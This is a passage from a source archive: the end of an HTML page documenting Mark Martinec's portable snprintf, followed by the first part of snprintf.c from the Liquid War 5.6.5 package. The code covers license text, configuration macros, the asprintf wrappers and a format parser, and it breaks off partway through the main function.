  • added vsnprintf (patch also independently proposed by Caoln McNamara 2000-05-04, and Keith M Willenson 2000-06-01)
2000-06-27 V2.1 Mark Martinec <mark.martinec@ijs.si>
  • removed POSIX check for str_m < 1; value 0 for str_m is allowed by ISO C99 (and GNU C library 2.1) (pointed out on 2000-05-04 by Caoln McNamara, caolan@ csn dot ul dot ie). Besides relaxed license this change in standards adherence is the main reason to bump up the major version number;
  • added nonstandard routines asnprintf, vasnprintf, asprintf, vasprintf that dynamically allocate storage for the resulting string; these routines are not compiled by default, see comments where NEED_V?ASN?PRINTF macros are defined;
  • autoconf contributed by Caoln McNamara
2000-10-06 V2.2 Mark Martinec <mark.martinec@ijs.si>
  • BUG FIX: the %c conversion used a temporary variable that was no longer in scope when referenced, possibly causing incorrect resulting character;
  • BUG FIX: make precision and minimal field width unsigned to handle huge values (2^31 <= n < 2^32) correctly; also be more careful in the use of signed/unsigned/size_t internal variables -- probably more careful than many vendor implementations, but there may still be a case where huge values of str_m, precision or minimal field could cause incorrect behaviour;
  • use separate variables for signed/unsigned arguments, and for short/int, long, and long long argument lengths to avoid possible incompatibilities on certain computer architectures. Also use separate variable arg_sign to hold sign of a numeric argument, to make code more transparent;
  • some fiddling with zero padding and "0x" to make it Linux compatible;
  • systematically use macros fast_memcpy and fast_memset instead of case-by-case hand optimization; determine some breakeven string lengths for different architectures;
  • terminology change: format -> conversion specifier, C9x -> ISO/IEC 9899:1999 ("ISO C99"), alternative form -> alternate form, data type modifier -> length modifier;
  • several comments rephrased and new ones added;
  • make compiler not complain about 'credits' defined but not used;

Other implementations of snprintf

I am aware of some other (more or less) portable implementations of snprintf. I do not claim they are free software - please refer to their respective copyright and licensing terms. If you know of other versions please let me know.

Related work

Some notable references

Some references to my portable snprintf as I happened to come across:

Information about applications and packages using my snprintf is appreciated.


In retrospect, it appears that a lot of effort was wasted by many people for not being aware of what others are doing. Sigh.


mm
Last updated: 2002-02-11
(promoting ISO 8601 / EN 28601 standard for specifying date and time!)

Valid HTML 4.0!

liquidwar-5.6.5/utils/snprintf/snprintf.c0000664000372000037200000012166713407756104020170 0ustar travistravis/* * snprintf.c - a portable implementation of snprintf * * AUTHOR * Mark Martinec , April 1999. * * Copyright 1999, Mark Martinec. All rights reserved. * * TERMS AND CONDITIONS * This program is free software; you can redistribute it and/or modify * it under the terms of the "Frontier Artistic License" which comes * with this Kit. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the Frontier Artistic License for more details. * * You should have received a copy of the Frontier Artistic License * with this Kit in the file named LICENSE.txt . * If not, I'll be glad to provide one. * * FEATURES * - careful adherence to specs regarding flags, field width and precision; * - good performance for large string handling (large format, large * argument or large paddings). Performance is similar to system's sprintf * and in several cases significantly better (make sure you compile with * optimizations turned on, tell the compiler the code is strict ANSI * if necessary to give it more freedom for optimizations); * - return value semantics per ISO/IEC 9899:1999 ("ISO C99"); * - written in standard ISO/ANSI C - requires an ANSI C compiler. * * SUPPORTED CONVERSION SPECIFIERS AND DATA TYPES * * This snprintf only supports the following conversion specifiers: * s, c, d, u, o, x, X, p (and synonyms: i, D, U, O - see below) * with flags: '-', '+', ' ', '0' and '#'. * An asterisk is supported for field width as well as precision. * * Length modifiers 'h' (short int), 'l' (long int), * and 'll' (long long int) are supported. * NOTE: * If macro SNPRINTF_LONGLONG_SUPPORT is not defined (default) the * length modifier 'll' is recognized but treated the same as 'l', * which may cause argument value truncation! Defining * SNPRINTF_LONGLONG_SUPPORT requires that your system's sprintf also * handles length modifier 'll'. long long int is a language extension * which may not be portable. * * Conversion of numeric data (conversion specifiers d, u, o, x, X, p) * with length modifiers (none or h, l, ll) is left to the system routine * sprintf, but all handling of flags, field width and precision as well as * c and s conversions is done very carefully by this portable routine. * If a string precision (truncation) is specified (e.g. %.8s) it is * guaranteed the string beyond the specified precision will not be referenced. * * Length modifiers h, l and ll are ignored for c and s conversions (data * types wint_t and wchar_t are not supported). * * The following common synonyms for conversion characters are supported: * - i is a synonym for d * - D is a synonym for ld, explicit length modifiers are ignored * - U is a synonym for lu, explicit length modifiers are ignored * - O is a synonym for lo, explicit length modifiers are ignored * The D, O and U conversion characters are nonstandard, they are supported * for backward compatibility only, and should not be used for new code. * * The following is specifically NOT supported: * - flag ' (thousands' grouping character) is recognized but ignored * - numeric conversion specifiers: f, e, E, g, G and synonym F, * as well as the new a and A conversion specifiers * - length modifier 'L' (long double) and 'q' (quad - use 'll' instead) * - wide character/string conversions: lc, ls, and nonstandard * synonyms C and S * - writeback of converted string length: conversion character n * - the n$ specification for direct reference to n-th argument * - locales * * It is permitted for str_m to be zero, and it is permitted to specify NULL * pointer for resulting string argument if str_m is zero (as per ISO C99). * * The return value is the number of characters which would be generated * for the given input, excluding the trailing null. If this value * is greater or equal to str_m, not all characters from the result * have been stored in str, output bytes beyond the (str_m-1) -th character * are discarded. If str_m is greater than zero it is guaranteed * the resulting string will be null-terminated. * * NOTE that this matches the ISO C99, OpenBSD, and GNU C library 2.1, * but is different from some older and vendor implementations, * and is also different from XPG, XSH5, SUSv2 specifications. * For historical discussion on changes in the semantics and standards * of snprintf see printf(3) man page in the Linux programmers manual. * * Routines asprintf and vasprintf return a pointer (in the ptr argument) * to a buffer sufficiently large to hold the resulting string. This pointer * should be passed to free(3) to release the allocated storage when it is * no longer needed. If sufficient space cannot be allocated, these functions * will return -1 and set ptr to be a NULL pointer. These two routines are a * GNU C library extensions (glibc). * * Routines asnprintf and vasnprintf are similar to asprintf and vasprintf, * yet, like snprintf and vsnprintf counterparts, will write at most str_m-1 * characters into the allocated output string, the last character in the * allocated buffer then gets the terminating null. If the formatted string * length (the return value) is greater than or equal to the str_m argument, * the resulting string was truncated and some of the formatted characters * were discarded. These routines present a handy way to limit the amount * of allocated memory to some sane value. * * AVAILABILITY * http://www.ijs.si/software/snprintf/ * * REVISION HISTORY * 1999-04 V0.9 Mark Martinec * - initial version, some modifications after comparing printf * man pages for Digital Unix 4.0, Solaris 2.6 and HPUX 10, * and checking how Perl handles sprintf (differently!); * 1999-04-09 V1.0 Mark Martinec * - added main test program, fixed remaining inconsistencies, * added optional (long long int) support; * 1999-04-12 V1.1 Mark Martinec * - support the 'p' conversion (pointer to void); * - if a string precision is specified * make sure the string beyond the specified precision * will not be referenced (e.g. by strlen); * 1999-04-13 V1.2 Mark Martinec * - support synonyms %D=%ld, %U=%lu, %O=%lo; * - speed up the case of long format string with few conversions; * 1999-06-30 V1.3 Mark Martinec * - fixed runaway loop (eventually crashing when str_l wraps * beyond 2^31) while copying format string without * conversion specifiers to a buffer that is too short * (thanks to Edwin Young for * spotting the problem); * - added macros PORTABLE_SNPRINTF_VERSION_(MAJOR|MINOR) * to snprintf.h * 2000-02-14 V2.0 (never released) Mark Martinec * - relaxed license terms: The Artistic License now applies. * You may still apply the GNU GENERAL PUBLIC LICENSE * as was distributed with previous versions, if you prefer; * - changed REVISION HISTORY dates to use ISO 8601 date format; * - added vsnprintf (patch also independently proposed by * Caolan McNamara 2000-05-04, and Keith M Willenson 2000-06-01) * 2000-06-27 V2.1 Mark Martinec * - removed POSIX check for str_m<1; value 0 for str_m is * allowed by ISO C99 (and GNU C library 2.1) - (pointed out * on 2000-05-04 by Caolan McNamara, caolan@ csn dot ul dot ie). * Besides relaxed license this change in standards adherence * is the main reason to bump up the major version number; * - added nonstandard routines asnprintf, vasnprintf, asprintf, * vasprintf that dynamically allocate storage for the * resulting string; these routines are not compiled by default, * see comments where NEED_V?ASN?PRINTF macros are defined; * - autoconf contributed by Caolan McNamara * 2000-10-06 V2.2 Mark Martinec * - BUG FIX: the %c conversion used a temporary variable * that was no longer in scope when referenced, * possibly causing incorrect resulting character; * - BUG FIX: make precision and minimal field width unsigned * to handle huge values (2^31 <= n < 2^32) correctly; * also be more careful in the use of signed/unsigned/size_t * internal variables - probably more careful than many * vendor implementations, but there may still be a case * where huge values of str_m, precision or minimal field * could cause incorrect behaviour; * - use separate variables for signed/unsigned arguments, * and for short/int, long, and long long argument lengths * to avoid possible incompatibilities on certain * computer architectures. Also use separate variable * arg_sign to hold sign of a numeric argument, * to make code more transparent; * - some fiddling with zero padding and "0x" to make it * Linux compatible; * - systematically use macros fast_memcpy and fast_memset * instead of case-by-case hand optimization; determine some * breakeven string lengths for different architectures; * - terminology change: 'format' -> 'conversion specifier', * 'C9x' -> 'ISO/IEC 9899:1999 ("ISO C99")', * 'alternative form' -> 'alternate form', * 'data type modifier' -> 'length modifier'; * - several comments rephrased and new ones added; * - make compiler not complain about 'credits' defined but * not used; */ /* Define HAVE_SNPRINTF if your system already has snprintf and vsnprintf. * * If HAVE_SNPRINTF is defined this module will not produce code for * snprintf and vsnprintf, unless PREFER_PORTABLE_SNPRINTF is defined as well, * causing this portable version of snprintf to be called portable_snprintf * (and portable_vsnprintf). */ /* #define HAVE_SNPRINTF */ /* Define PREFER_PORTABLE_SNPRINTF if your system does have snprintf and * vsnprintf but you would prefer to use the portable routine(s) instead. * In this case the portable routine is declared as portable_snprintf * (and portable_vsnprintf) and a macro 'snprintf' (and 'vsnprintf') * is defined to expand to 'portable_v?snprintf' - see file snprintf.h . * Defining this macro is only useful if HAVE_SNPRINTF is also defined, * but does does no harm if defined nevertheless. */ /* #define PREFER_PORTABLE_SNPRINTF */ /* Define SNPRINTF_LONGLONG_SUPPORT if you want to support * data type (long long int) and length modifier 'll' (e.g. %lld). * If undefined, 'll' is recognized but treated as a single 'l'. * * If the system's sprintf does not handle 'll' * the SNPRINTF_LONGLONG_SUPPORT must not be defined! * * This is off by default as (long long int) is a language extension. */ /* #define SNPRINTF_LONGLONG_SUPPORT */ /* Define NEED_SNPRINTF_ONLY if you only need snprintf, and not vsnprintf. * If NEED_SNPRINTF_ONLY is defined, the snprintf will be defined directly, * otherwise both snprintf and vsnprintf routines will be defined * and snprintf will be a simple wrapper around vsnprintf, at the expense * of an extra procedure call. */ /* #define NEED_SNPRINTF_ONLY */ /* Define NEED_V?ASN?PRINTF macros if you need library extension * routines asprintf, vasprintf, asnprintf, vasnprintf respectively, * and your system library does not provide them. They are all small * wrapper routines around portable_vsnprintf. Defining any of the four * NEED_V?ASN?PRINTF macros automatically turns off NEED_SNPRINTF_ONLY * and turns on PREFER_PORTABLE_SNPRINTF. * * Watch for name conflicts with the system library if these routines * are already present there. * * NOTE: vasprintf and vasnprintf routines need va_copy() from stdarg.h, as * specified by C99, to be able to traverse the same list of arguments twice. * I don't know of any other standard and portable way of achieving the same. * With some versions of gcc you may use __va_copy(). You might even get away * with "ap2 = ap", in this case you must not call va_end(ap2) ! * #define va_copy(ap2,ap) ap2 = ap */ /* #define NEED_ASPRINTF */ /* #define NEED_ASNPRINTF */ /* #define NEED_VASPRINTF */ /* #define NEED_VASNPRINTF */ /* Define the following macros if desired: * SOLARIS_COMPATIBLE, SOLARIS_BUG_COMPATIBLE, * HPUX_COMPATIBLE, HPUX_BUG_COMPATIBLE, LINUX_COMPATIBLE, * DIGITAL_UNIX_COMPATIBLE, DIGITAL_UNIX_BUG_COMPATIBLE, * PERL_COMPATIBLE, PERL_BUG_COMPATIBLE, * * - For portable applications it is best not to rely on peculiarities * of a given implementation so it may be best not to define any * of the macros that select compatibility and to avoid features * that vary among the systems. * * - Selecting compatibility with more than one operating system * is not strictly forbidden but is not recommended. * * - 'x'_BUG_COMPATIBLE implies 'x'_COMPATIBLE . * * - 'x'_COMPATIBLE refers to (and enables) a behaviour that is * documented in a sprintf man page on a given operating system * and actually adhered to by the system's sprintf (but not on * most other operating systems). It may also refer to and enable * a behaviour that is declared 'undefined' or 'implementation specific' * in the man page but a given implementation behaves predictably * in a certain way. * * - 'x'_BUG_COMPATIBLE refers to (and enables) a behaviour of system's sprintf * that contradicts the sprintf man page on the same operating system. * * - I do not claim that the 'x'_COMPATIBLE and 'x'_BUG_COMPATIBLE * conditionals take into account all idiosyncrasies of a particular * implementation, there may be other incompatibilities. */ /* ============================================= */ /* NO USER SERVICABLE PARTS FOLLOWING THIS POINT */ /* ============================================= */ #define PORTABLE_SNPRINTF_VERSION_MAJOR 2 #define PORTABLE_SNPRINTF_VERSION_MINOR 2 #if defined(NEED_ASPRINTF) || defined(NEED_ASNPRINTF) || defined(NEED_VASPRINTF) || defined(NEED_VASNPRINTF) # if defined(NEED_SNPRINTF_ONLY) # undef NEED_SNPRINTF_ONLY # endif # if !defined(PREFER_PORTABLE_SNPRINTF) # define PREFER_PORTABLE_SNPRINTF # endif #endif #if defined(SOLARIS_BUG_COMPATIBLE) && !defined(SOLARIS_COMPATIBLE) #define SOLARIS_COMPATIBLE #endif #if defined(HPUX_BUG_COMPATIBLE) && !defined(HPUX_COMPATIBLE) #define HPUX_COMPATIBLE #endif #if defined(DIGITAL_UNIX_BUG_COMPATIBLE) && !defined(DIGITAL_UNIX_COMPATIBLE) #define DIGITAL_UNIX_COMPATIBLE #endif #if defined(PERL_BUG_COMPATIBLE) && !defined(PERL_COMPATIBLE) #define PERL_COMPATIBLE #endif #if defined(LINUX_BUG_COMPATIBLE) && !defined(LINUX_COMPATIBLE) #define LINUX_COMPATIBLE #endif #include #include #include #include #include #include #include #ifdef isdigit #undef isdigit #endif #define isdigit(c) ((c) >= '0' && (c) <= '9') /* For copying strings longer or equal to 'breakeven_point' * it is more efficient to call memcpy() than to do it inline. * The value depends mostly on the processor architecture, * but also on the compiler and its optimization capabilities. * The value is not critical, some small value greater than zero * will be just fine if you don't care to squeeze every drop * of performance out of the code. * * Small values favor memcpy, large values favor inline code. */ #if defined(__alpha__) || defined(__alpha) # define breakeven_point 2 /* AXP (DEC Alpha) - gcc or cc or egcs */ #endif #if defined(__i386__) || defined(__i386) # define breakeven_point 12 /* Intel Pentium/Linux - gcc 2.96 */ #endif #if defined(__hppa) # define breakeven_point 10 /* HP-PA - gcc */ #endif #if defined(__sparc__) || defined(__sparc) # define breakeven_point 33 /* Sun Sparc 5 - gcc 2.8.1 */ #endif /* some other values of possible interest: */ /* #define breakeven_point 8 */ /* VAX 4000 - vaxc */ /* #define breakeven_point 19 */ /* VAX 4000 - gcc 2.7.0 */ #ifndef breakeven_point # define breakeven_point 6 /* some reasonable one-size-fits-all value */ #endif #define fast_memcpy(d,s,n) \ { register size_t nn = (size_t)(n); \ if (nn >= breakeven_point) memcpy((d), (s), nn); \ else if (nn > 0) { /* proc call overhead is worth only for large strings*/\ register char *dd; register const char *ss; \ for (ss=(s), dd=(d); nn>0; nn--) *dd++ = *ss++; } } #define fast_memset(d,c,n) \ { register size_t nn = (size_t)(n); \ if (nn >= breakeven_point) memset((d), (int)(c), nn); \ else if (nn > 0) { /* proc call overhead is worth only for large strings*/\ register char *dd; register const int cc=(int)(c); \ for (dd=(d); nn>0; nn--) *dd++ = cc; } } /* prototypes */ #if defined(NEED_ASPRINTF) int asprintf (char **ptr, const char *fmt, /*args*/ ...); #endif #if defined(NEED_VASPRINTF) int vasprintf (char **ptr, const char *fmt, va_list ap); #endif #if defined(NEED_ASNPRINTF) int asnprintf (char **ptr, size_t str_m, const char *fmt, /*args*/ ...); #endif #if defined(NEED_VASNPRINTF) int vasnprintf (char **ptr, size_t str_m, const char *fmt, va_list ap); #endif #if defined(HAVE_SNPRINTF) /* declare our portable snprintf routine under name portable_snprintf */ /* declare our portable vsnprintf routine under name portable_vsnprintf */ #else /* declare our portable routines under names snprintf and vsnprintf */ #define portable_snprintf snprintf #if !defined(NEED_SNPRINTF_ONLY) #define portable_vsnprintf vsnprintf #endif #endif #if !defined(HAVE_SNPRINTF) || defined(PREFER_PORTABLE_SNPRINTF) int portable_snprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...); #if !defined(NEED_SNPRINTF_ONLY) int portable_vsnprintf(char *str, size_t str_m, const char *fmt, va_list ap); #endif #endif /* declarations */ static char credits[] = "\n\ @(#)snprintf.c, v2.2: Mark Martinec, \n\ @(#)snprintf.c, v2.2: Copyright 1999, Mark Martinec. Frontier Artistic License applies.\n\ @(#)snprintf.c, v2.2: http://www.ijs.si/software/snprintf/\n"; #if defined(NEED_ASPRINTF) int asprintf(char **ptr, const char *fmt, /*args*/ ...) { va_list ap; size_t str_m; int str_l; *ptr = NULL; va_start(ap, fmt); /* measure the required size */ str_l = portable_vsnprintf(NULL, (size_t)0, fmt, ap); va_end(ap); assert(str_l >= 0); /* possible integer overflow if str_m > INT_MAX */ *ptr = (char *) malloc(str_m = (size_t)str_l + 1); if (*ptr == NULL) { errno = ENOMEM; str_l = -1; } else { int str_l2; va_start(ap, fmt); str_l2 = portable_vsnprintf(*ptr, str_m, fmt, ap); va_end(ap); assert(str_l2 == str_l); } return str_l; } #endif #if defined(NEED_VASPRINTF) int vasprintf(char **ptr, const char *fmt, va_list ap) { size_t str_m; int str_l; *ptr = NULL; { va_list ap2; va_copy(ap2, ap); /* don't consume the original ap, we'll need it again */ str_l = portable_vsnprintf(NULL, (size_t)0, fmt, ap2);/*get required size*/ va_end(ap2); } assert(str_l >= 0); /* possible integer overflow if str_m > INT_MAX */ *ptr = (char *) malloc(str_m = (size_t)str_l + 1); if (*ptr == NULL) { errno = ENOMEM; str_l = -1; } else { int str_l2 = portable_vsnprintf(*ptr, str_m, fmt, ap); assert(str_l2 == str_l); } return str_l; } #endif #if defined(NEED_ASNPRINTF) int asnprintf (char **ptr, size_t str_m, const char *fmt, /*args*/ ...) { va_list ap; int str_l; *ptr = NULL; va_start(ap, fmt); /* measure the required size */ str_l = portable_vsnprintf(NULL, (size_t)0, fmt, ap); va_end(ap); assert(str_l >= 0); /* possible integer overflow if str_m > INT_MAX */ if ((size_t)str_l + 1 < str_m) str_m = (size_t)str_l + 1; /* truncate */ /* if str_m is 0, no buffer is allocated, just set *ptr to NULL */ if (str_m == 0) { /* not interested in resulting string, just return size */ } else { *ptr = (char *) malloc(str_m); if (*ptr == NULL) { errno = ENOMEM; str_l = -1; } else { int str_l2; va_start(ap, fmt); str_l2 = portable_vsnprintf(*ptr, str_m, fmt, ap); va_end(ap); assert(str_l2 == str_l); } } return str_l; } #endif #if defined(NEED_VASNPRINTF) int vasnprintf (char **ptr, size_t str_m, const char *fmt, va_list ap) { int str_l; *ptr = NULL; { va_list ap2; va_copy(ap2, ap); /* don't consume the original ap, we'll need it again */ str_l = portable_vsnprintf(NULL, (size_t)0, fmt, ap2);/*get required size*/ va_end(ap2); } assert(str_l >= 0); /* possible integer overflow if str_m > INT_MAX */ if ((size_t)str_l + 1 < str_m) str_m = (size_t)str_l + 1; /* truncate */ /* if str_m is 0, no buffer is allocated, just set *ptr to NULL */ if (str_m == 0) { /* not interested in resulting string, just return size */ } else { *ptr = (char *) malloc(str_m); if (*ptr == NULL) { errno = ENOMEM; str_l = -1; } else { int str_l2 = portable_vsnprintf(*ptr, str_m, fmt, ap); assert(str_l2 == str_l); } } return str_l; } #endif /* * If the system does have snprintf and the portable routine is not * specifically required, this module produces no code for snprintf/vsnprintf. */ #if !defined(HAVE_SNPRINTF) || defined(PREFER_PORTABLE_SNPRINTF) #if !defined(NEED_SNPRINTF_ONLY) int portable_snprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...) { va_list ap; int str_l; va_start(ap, fmt); str_l = portable_vsnprintf(str, str_m, fmt, ap); va_end(ap); return str_l; } #endif #if defined(NEED_SNPRINTF_ONLY) int portable_snprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...) { #else int portable_vsnprintf(char *str, size_t str_m, const char *fmt, va_list ap) { #endif #if defined(NEED_SNPRINTF_ONLY) va_list ap; #endif size_t str_l = 0; const char *p = fmt; /* In contrast with POSIX, the ISO C99 now says * that str can be NULL and str_m can be 0. * This is more useful than the old: if (str_m < 1) return -1; */ #if defined(NEED_SNPRINTF_ONLY) va_start(ap, fmt); #endif if (!p) p = ""; while (*p) { if (*p != '%') { /* if (str_l < str_m) str[str_l++] = *p++; -- this would be sufficient */ /* but the following code achieves better performance for cases * where format string is long and contains few conversions */ const char *q = strchr(p+1,'%'); size_t n = !q ? strlen(p) : (q-p); if (str_l < str_m) { size_t avail = str_m-str_l; fast_memcpy(str+str_l, p, (n>avail?avail:n)); } p += n; str_l += n; } else { const char *starting_p; size_t min_field_width = 0, precision = 0; int zero_padding = 0, precision_specified = 0, justify_left = 0; int alternate_form = 0, force_sign = 0; int space_for_positive = 1; /* If both the ' ' and '+' flags appear, the ' ' flag should be ignored. */ char length_modifier = '\0'; /* allowed values: \0, h, l, L */ char tmp[32];/* temporary buffer for simple numeric->string conversion */ const char *str_arg; /* string address in case of string argument */ size_t str_arg_l; /* natural field width of arg without padding and sign */ unsigned char uchar_arg; /* unsigned char argument value - only defined for c conversion. N.B. standard explicitly states the char argument for the c conversion is unsigned */ size_t number_of_zeros_to_pad = 0; /* number of zeros to be inserted for numeric conversions as required by the precision or minimal field width */ size_t zero_padding_insertion_ind = 0; /* index into tmp where zero padding is to be inserted */ char fmt_spec = '\0'; /* current conversion specifier character */ str_arg = credits;/* just to make compiler happy (defined but not used)*/ str_arg = NULL; starting_p = p; p++; /* skip '%' */ /* parse flags */ while (*p == '0' || *p == '-' || *p == '+' || *p == ' ' || *p == '#' || *p == '\'') { switch (*p) { case '0': zero_padding = 1; break; case '-': justify_left = 1; break; case '+': force_sign = 1; space_for_positive = 0; break; case ' ': force_sign = 1; /* If both the ' ' and '+' flags appear, the ' ' flag should be ignored */ #ifdef PERL_COMPATIBLE /* ... but in Perl the last of ' ' and '+' applies */ space_for_positive = 1; #endif break; case '#': alternate_form = 1; break; case '\'': break; } p++; } /* If the '0' and '-' flags both appear, the '0' flag should be ignored. */ /* parse field width */ if (*p == '*') { int j; p++; j = va_arg(ap, int); if (j >= 0) min_field_width = j; else { min_field_width = -j; justify_left = 1; } } else if (isdigit((int)(*p))) { /* size_t could be wider than unsigned int; make sure we treat argument like common implementations do */ unsigned int uj = *p++ - '0'; while (isdigit((int)(*p))) uj = 10*uj + (unsigned int)(*p++ - '0'); min_field_width = uj; } /* parse precision */ if (*p == '.') { p++; precision_specified = 1; if (*p == '*') { int j = va_arg(ap, int); p++; if (j >= 0) precision = j; else { precision_specified = 0; precision = 0; /* NOTE: * Solaris 2.6 man page claims that in this case the precision * should be set to 0. Digital Unix 4.0, HPUX 10 and BSD man page * claim that this case should be treated as unspecified precision, * which is what we do here. */ } } else if (isdigit((int)(*p))) { /* size_t could be wider than unsigned int; make sure we treat argument like common implementations do */ unsigned int uj = *p++ - '0'; while (isdigit((int)(*p))) uj = 10*uj + (unsigned int)(*p++ - '0'); precision = uj; } } /* parse 'h', 'l' and 'll' length modifiers */ if (*p == 'h' || *p == 'l') { length_modifier = *p; p++; if (length_modifier == 'l' && *p == 'l') { /* double l = long long */ #ifdef SNPRINTF_LONGLONG_SUPPORT length_modifier = '2'; /* double l encoded as '2' */ #else length_modifier = 'l'; /* treat it as a single 'l' */ #endif p++; } } fmt_spec = *p; /* common synonyms: */ switch (fmt_spec) { case 'i': fmt_spec = 'd'; break; case 'D': fmt_spec = 'd'; length_modifier = 'l'; break; case 'U': fmt_spec = 'u'; length_modifier = 'l'; break; case 'O': fmt_spec = 'o'; length_modifier = 'l'; break; default: break; } /* get parameter value, do initial processing */ switch (fmt_spec) { case '%': /* % behaves similar to 's' regarding flags and field widths */ case 'c': /* c behaves similar to 's' regarding flags and field widths */ case 's': length_modifier = '\0'; /* wint_t and wchar_t not supported */ /* the result of zero padding flag with non-numeric conversion specifier*/ /* is undefined. Solaris and HPUX 10 does zero padding in this case, */ /* Digital Unix and Linux does not. */ #if !defined(SOLARIS_COMPATIBLE) && !defined(HPUX_COMPATIBLE) zero_padding = 0; /* turn zero padding off for string conversions */ #endif str_arg_l = 1; switch (fmt_spec) { case '%': str_arg = p; break; case 'c': { int j = va_arg(ap, int); uchar_arg = (unsigned char) j; /* standard demands unsigned char */ str_arg = (const char *) &uchar_arg; break; } case 's': str_arg = va_arg(ap, const char *); if (!str_arg) str_arg_l = 0; /* make sure not to address string beyond the specified precision !!! */ else if (!precision_specified) str_arg_l = strlen(str_arg); /* truncate string if necessary as requested by precision */ else if (precision == 0) str_arg_l = 0; else { /* memchr on HP does not like n > 2^31 !!! */ const char *q = memchr(str_arg, '\0', precision <= 0x7fffffff ? precision : 0x7fffffff); str_arg_l = !q ? precision : (q-str_arg); } break; default: break; } break; case 'd': case 'u': case 'o': case 'x': case 'X': case 'p': { /* NOTE: the u, o, x, X and p conversion specifiers imply the value is unsigned; d implies a signed value */ int arg_sign = 0; /* 0 if numeric argument is zero (or if pointer is NULL for 'p'), +1 if greater than zero (or nonzero for unsigned arguments), -1 if negative (unsigned argument is never negative) */ int int_arg = 0; unsigned int uint_arg = 0; /* only defined for length modifier h, or for no length modifiers */ long int long_arg = 0; unsigned long int ulong_arg = 0; /* only defined for length modifier l */ void *ptr_arg = NULL; /* pointer argument value -only defined for p conversion */ #ifdef SNPRINTF_LONGLONG_SUPPORT long long int long_long_arg = 0; unsigned long long int ulong_long_arg = 0; /* only defined for length modifier ll */ #endif if (fmt_spec == 'p') { /* HPUX 10: An l, h, ll or L before any other conversion character * (other than d, i, u, o, x, or X) is ignored. * Digital Unix: * not specified, but seems to behave as HPUX does. * Solaris: If an h, l, or L appears before any other conversion * specifier (other than d, i, u, o, x, or X), the behavior * is undefined. (Actually %hp converts only 16-bits of address * and %llp treats address as 64-bit data which is incompatible * with (void *) argument on a 32-bit system). */ #ifdef SOLARIS_COMPATIBLE # ifdef SOLARIS_BUG_COMPATIBLE /* keep length modifiers even if it represents 'll' */ # else if (length_modifier == '2') length_modifier = '\0'; # endif #else length_modifier = '\0'; #endif ptr_arg = va_arg(ap, void *); if (ptr_arg != NULL) arg_sign = 1; } else if (fmt_spec == 'd') { /* signed */ switch (length_modifier) { case '\0': case 'h': /* It is non-portable to specify a second argument of char or short * to va_arg, because arguments seen by the called function * are not char or short. C converts char and short arguments * to int before passing them to a function. */ int_arg = va_arg(ap, int); if (int_arg > 0) arg_sign = 1; else if (int_arg < 0) arg_sign = -1; break; case 'l': long_arg = va_arg(ap, long int); if (long_arg > 0) arg_sign = 1; else if (long_arg < 0) arg_sign = -1; break; #ifdef SNPRINTF_LONGLONG_SUPPORT case '2': long_long_arg = va_arg(ap, long long int); if (long_long_arg > 0) arg_sign = 1; else if (long_long_arg < 0) arg_sign = -1; break; #endif } } else { /* unsigned */ switch (length_modifier) { case '\0': case 'h': uint_arg = va_arg(ap, unsigned int); if (uint_arg) arg_sign = 1; break; case 'l': ulong_arg = va_arg(ap, unsigned long int); if (ulong_arg) arg_sign = 1; break; #ifdef SNPRINTF_LONGLONG_SUPPORT case '2': ulong_long_arg = va_arg(ap, unsigned long long int); if (ulong_long_arg) arg_sign = 1; break; #endif } } str_arg = tmp; str_arg_l = 0; /* NOTE: * For d, i, u, o, x, and X conversions, if precision is specified, * the '0' flag should be ignored. This is so with Solaris 2.6, * Digital UNIX 4.0, HPUX 10, Linux, FreeBSD, NetBSD; but not with Perl. */ #ifndef PERL_COMPATIBLE if (precision_specified) zero_padding = 0; #endif if (fmt_spec == 'd') { if (force_sign && arg_sign >= 0) tmp[str_arg_l++] = space_for_positive ? ' ' : '+'; /* leave negative numbers for sprintf to handle, to avoid handling tricky cases like (short int)(-32768) */ #ifdef LINUX_COMPATIBLE } else if (fmt_spec == 'p' && force_sign && arg_sign > 0) { tmp[str_arg_l++] = space_for_positive ? ' ' : '+'; #endif } else if (alternate_form) { if (arg_sign != 0 && (fmt_spec == 'x' || fmt_spec == 'X') ) { tmp[str_arg_l++] = '0'; tmp[str_arg_l++] = fmt_spec; } /* alternate form should have no effect for p conversion, but ... */ #ifdef HPUX_COMPATIBLE else if (fmt_spec == 'p' /* HPUX 10: for an alternate form of p conversion, * a nonzero result is prefixed by 0x. */ #ifndef HPUX_BUG_COMPATIBLE /* Actually it uses 0x prefix even for a zero value. */ && arg_sign != 0 #endif ) { tmp[str_arg_l++] = '0'; tmp[str_arg_l++] = 'x'; } #endif } zero_padding_insertion_ind = str_arg_l; if (!precision_specified) precision = 1; /* default precision is 1 */ if (precision == 0 && arg_sign == 0 #if defined(HPUX_BUG_COMPATIBLE) || defined(LINUX_COMPATIBLE) && fmt_spec != 'p' /* HPUX 10 man page claims: With conversion character p the result of * converting a zero value with a precision of zero is a null string. * Actually HP returns all zeroes, and Linux returns "(nil)". */ #endif ) { /* converted to null string */ /* When zero value is formatted with an explicit precision 0, the resulting formatted string is empty (d, i, u, o, x, X, p). */ } else { char f[5]; int f_l = 0; f[f_l++] = '%'; /* construct a simple format string for sprintf */ if (!length_modifier) { } else if (length_modifier=='2') { f[f_l++] = 'l'; f[f_l++] = 'l'; } else f[f_l++] = length_modifier; f[f_l++] = fmt_spec; f[f_l++] = '\0'; if (fmt_spec == 'p') str_arg_l += sprintf(tmp+str_arg_l, f, ptr_arg); else if (fmt_spec == 'd') { /* signed */ switch (length_modifier) { case '\0': case 'h': str_arg_l+=sprintf(tmp+str_arg_l, f, int_arg); break; case 'l': str_arg_l+=sprintf(tmp+str_arg_l, f, long_arg); break; #ifdef SNPRINTF_LONGLONG_SUPPORT case '2': str_arg_l+=sprintf(tmp+str_arg_l,f,long_long_arg); break; #endif } } else { /* unsigned */ switch (length_modifier) { case '\0': case 'h': str_arg_l+=sprintf(tmp+str_arg_l, f, uint_arg); break; case 'l': str_arg_l+=sprintf(tmp+str_arg_l, f, ulong_arg); break; #ifdef SNPRINTF_LONGLONG_SUPPORT case '2': str_arg_l+=sprintf(tmp+str_arg_l,f,ulong_long_arg);break; #endif } } /* include the optional minus sign and possible "0x" in the region before the zero padding insertion point */ if (zero_padding_insertion_ind < str_arg_l && tmp[zero_padding_insertion_ind] == '-') { 